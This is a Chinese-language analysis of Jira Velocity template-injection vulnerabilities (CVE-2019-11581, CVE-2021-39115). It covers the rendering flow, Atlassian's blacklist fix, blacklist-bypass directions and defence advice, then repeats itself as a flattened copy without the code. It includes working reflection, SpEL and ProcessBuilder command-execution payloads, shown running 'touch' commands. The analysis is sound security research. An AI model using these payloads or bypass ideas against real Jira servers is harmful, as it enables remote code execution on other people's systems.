Atlassian JIRA服务器模板注入漏洞分析及挖掘
字数 2223 2025-08-27 12:33:23

Atlassian JIRA服务器模板注入漏洞分析与挖掘技术文档

一、漏洞概述

本文档详细分析Atlassian JIRA服务器中的模板注入漏洞(CVE-2019-11581及相关漏洞),包括漏洞原理、利用方式、修复方案以及挖掘方法。

二、漏洞复现及分析

1. 漏洞复现环境搭建

  • 搭建SMTP服务器(可使用QQ SMTP)
  • 开启联系管理员表单:http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa
  • 注意:即使SMTP服务未正确配置,漏洞也会在连接SMTP服务前触发

2. POC分析

基本POC路径

/secure/ContactAdministrators!default.jspa

POC示例

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('touch /tmp/success').waitFor()

3. 漏洞触发流程

  1. 请求处理流程

    • JiraWebworkActionDispatcher作为主分发器
    • 派发给通用分发器执行任务
    • 通过属性描述器获取和设置属性
  2. 邮件发送流程

    • 管理员账号验证通过后进入sendMail
    • 模板渲染是漏洞触发关键点
    • 最终由schedulerqueuework唤醒发送邮件任务
  3. 模板渲染关键点

    • com.atlassian.jira.mail.builder.EmailRenderer#renderEmailBody
    • 变量传入后在AST reference中递归执行
    • 反射调用链最终触发漏洞

三、漏洞原理深入分析

1. 为什么subject可以被当作模板解析

  • 在创建EmailBuilderitem对象时,subjectTemplate已经是Fragment
  • Fragment会从content中取字段进行解析
  • 文件路径同样存在模板注入风险

关键代码

MailQueueItem item = (new EmailBuilder(email, this.getMimeType(administrator), I18nBean.getLocaleFromUser(administrator)))
    .withSubject(this.subject)
    .withBodyFromFile(this.getTemplateDirectory(administrator) + "contactadministrator.vm")
    .addParameters(velocityParams)
    .renderLater();

2. 从邮件body触发模板注入(CVE-2021-39115)

  • 利用Jira Administrator权限覆盖vm文件
  • 在vm文件中插入payload
  • 文件路径示例:/jira/atlassian-jira-software-8.2.2-standalone/atlassian-jira/WEB-INF/classes/templates/email/html/includes/header.vm

POC示例

#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser', $i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('touch /tmp/success4')").getValue()

3. 常规payload失效原因分析

常规payload示例

#set($x=$i18n.getClass())
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('touch /tmp/success66'))
$ex.waitFor()

失效原因

  • 在Class类中寻找getRuntime方法会失败
  • 反射机制限制:Runtime构造方法是私有的,只能通过getRuntime获取实例

解决方案

#set($x=$i18n.getClass())
#set($runcls=$x.class.forName("java.lang.Runtime"))
#set($runcon=$runcls.getDeclaredConstructor())
$runcon.setAccessible(true)
$runcon.newInstance().exec("touch /tmp/successRt")

4. 其他利用方式

  1. SpEL表达式注入
  2. ScriptEngine方式
  3. ProcessBuilder方式

ProcessBuilder改进版

#set($x=$i18n.getClass())
#set($list=$x.class.forName("java.util.List"))
#set($pbcls=$x.class.forName("java.lang.ProcessBuilder"))
#set($pbcon=$pbcls.getDeclaredConstructor($list))
#set($alistcls=$x.class.forName("java.util.ArrayList"))
#set($arrtest=["/bin/sh","-c","touch /tmp/successPB"])
#set($pb=$pbcon.newInstance($arrtest))
$pb.start()

5. 其他触发点

  • 不需要发送邮件即可触发模板引擎
  • 可在footer.vm等文件中插入payload
  • 登录页面页脚也会触发

四、JIRA的修复方式

1. 黑名单机制

  • 在调用类方法前校验是否在黑名单中
  • 黑名单类包括:
    webwork.util.ValueStack
    javax.el.ELProcessor
    javax.script.ScriptEngineManager
    java.lang.ProcessBuilder
    javax.el.ImportHandler
    javax.el.ELManager
    

2. 修复原理

  • org.apache.velocity.util.introspection.UberspectImpl#getMethod
  • 从配置文件读取黑名单并填入list
  • 如果类属于黑名单包,则返回空方法

关键方法

  • org.apache.velocity.util.introspection.SecureIntrospectorImpl#checkObjectExecutePermission
  • 过滤一维数组和黑名单包中的类

五、漏洞挖掘方法

1. 挖掘思路

  1. 二维数组绕过(已被封杀)
  2. 黑名单绕过

2. 可利用类方向

  1. 命令执行类

    • ProcessImpl
    • ProcessBuilder
    • Runtime
    • MethodAccessor
  2. 表达式类

    • ELProcessor
    • ScriptEngine
  3. JNDI/RMI

    • 通过恶意服务器执行
    • JdbcRowSetImpl
  4. 反序列化相关类

  5. 自定义类

    • 利用ClassLoader技术
    • 继承自ClassLoader的类
    • 引用的Utils类

3. 关键点

  • 只要类不在黑名单中,就有利用可能
  • Context上下文中的对象非常重要(如i18n和jirautils)

六、为什么可以使用i18n和jirautils

  • 这些类被预先注入到context容器中
  • 通过com.atlassian.jira.mail.JiraMailQueueUtils#getContextParamsMaster初始化并注入对象
  • 从statingParams读取并初始化后注入对象

七、防御建议

  1. 及时更新到修复版本(4.17.0及之后版本增加了更多黑名单类)
  2. 严格控制模板文件写入权限
  3. 监控可疑的模板文件修改
  4. 限制反射调用权限

八、参考资源

  1. Velocity模板引擎语法:https://www.cnblogs.com/daijun/p/6133430.html
  2. JSP Webshell示例:https://github.com/threedr3am/JSP-Webshells
  3. Atlassian官方文档:https://docs.atlassian.com/DAC/javadoc/opensymphony-webwork/1.4-atlassian-17/reference/webwork/action/ActionContext.html
Atlassian JIRA服务器模板注入漏洞分析与挖掘技术文档 一、漏洞概述 本文档详细分析Atlassian JIRA服务器中的模板注入漏洞(CVE-2019-11581及相关漏洞),包括漏洞原理、利用方式、修复方案以及挖掘方法。 二、漏洞复现及分析 1. 漏洞复现环境搭建 搭建SMTP服务器(可使用QQ SMTP) 开启联系管理员表单: http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa 注意:即使SMTP服务未正确配置,漏洞也会在连接SMTP服务前触发 2. POC分析 基本POC路径 : POC示例 : 3. 漏洞触发流程 请求处理流程 : JiraWebworkActionDispatcher作为主分发器 派发给通用分发器执行任务 通过属性描述器获取和设置属性 邮件发送流程 : 管理员账号验证通过后进入sendMail 模板渲染是漏洞触发关键点 最终由schedulerqueuework唤醒发送邮件任务 模板渲染关键点 : com.atlassian.jira.mail.builder.EmailRenderer#renderEmailBody 变量传入后在AST reference中递归执行 反射调用链最终触发漏洞 三、漏洞原理深入分析 1. 为什么subject可以被当作模板解析 在创建 EmailBuilder 的 item 对象时, subjectTemplate 已经是 Fragment 类 Fragment 会从content中取字段进行解析 文件路径同样存在模板注入风险 关键代码 : 2. 从邮件body触发模板注入(CVE-2021-39115) 利用Jira Administrator权限覆盖vm文件 在vm文件中插入payload 文件路径示例: /jira/atlassian-jira-software-8.2.2-standalone/atlassian-jira/WEB-INF/classes/templates/email/html/includes/header.vm POC示例 : 3. 常规payload失效原因分析 常规payload示例 : 失效原因 : 在Class类中寻找getRuntime方法会失败 反射机制限制: Runtime 构造方法是私有的,只能通过 getRuntime 获取实例 解决方案 : 4. 其他利用方式 SpEL表达式注入 ScriptEngine方式 ProcessBuilder方式 ProcessBuilder改进版 : 5. 其他触发点 不需要发送邮件即可触发模板引擎 可在 footer.vm 等文件中插入payload 登录页面页脚也会触发 四、JIRA的修复方式 1. 黑名单机制 在调用类方法前校验是否在黑名单中 黑名单类包括: 2. 修复原理 在 org.apache.velocity.util.introspection.UberspectImpl#getMethod 中 从配置文件读取黑名单并填入list 如果类属于黑名单包,则返回空方法 关键方法 : org.apache.velocity.util.introspection.SecureIntrospectorImpl#checkObjectExecutePermission 过滤一维数组和黑名单包中的类 五、漏洞挖掘方法 1. 挖掘思路 二维数组绕过 (已被封杀) 黑名单绕过 2. 可利用类方向 命令执行类 : ProcessImpl ProcessBuilder Runtime MethodAccessor 表达式类 : ELProcessor ScriptEngine JNDI/RMI : 通过恶意服务器执行 JdbcRowSetImpl 反序列化相关类 自定义类 : 利用ClassLoader技术 继承自ClassLoader的类 引用的Utils类 3. 关键点 只要类不在黑名单中,就有利用可能 Context上下文中的对象非常重要(如i18n和jirautils) 六、为什么可以使用i18n和jirautils 这些类被预先注入到context容器中 通过 com.atlassian.jira.mail.JiraMailQueueUtils#getContextParamsMaster 初始化并注入对象 从statingParams读取并初始化后注入对象 七、防御建议 及时更新到修复版本(4.17.0及之后版本增加了更多黑名单类) 严格控制模板文件写入权限 监控可疑的模板文件修改 限制反射调用权限 八、参考资源 Velocity模板引擎语法:https://www.cnblogs.com/daijun/p/6133430.html JSP Webshell示例:https://github.com/threedr3am/JSP-Webshells Atlassian官方文档:https://docs.atlassian.com/DAC/javadoc/opensymphony-webwork/1.4-atlassian-17/reference/webwork/action/ActionContext.html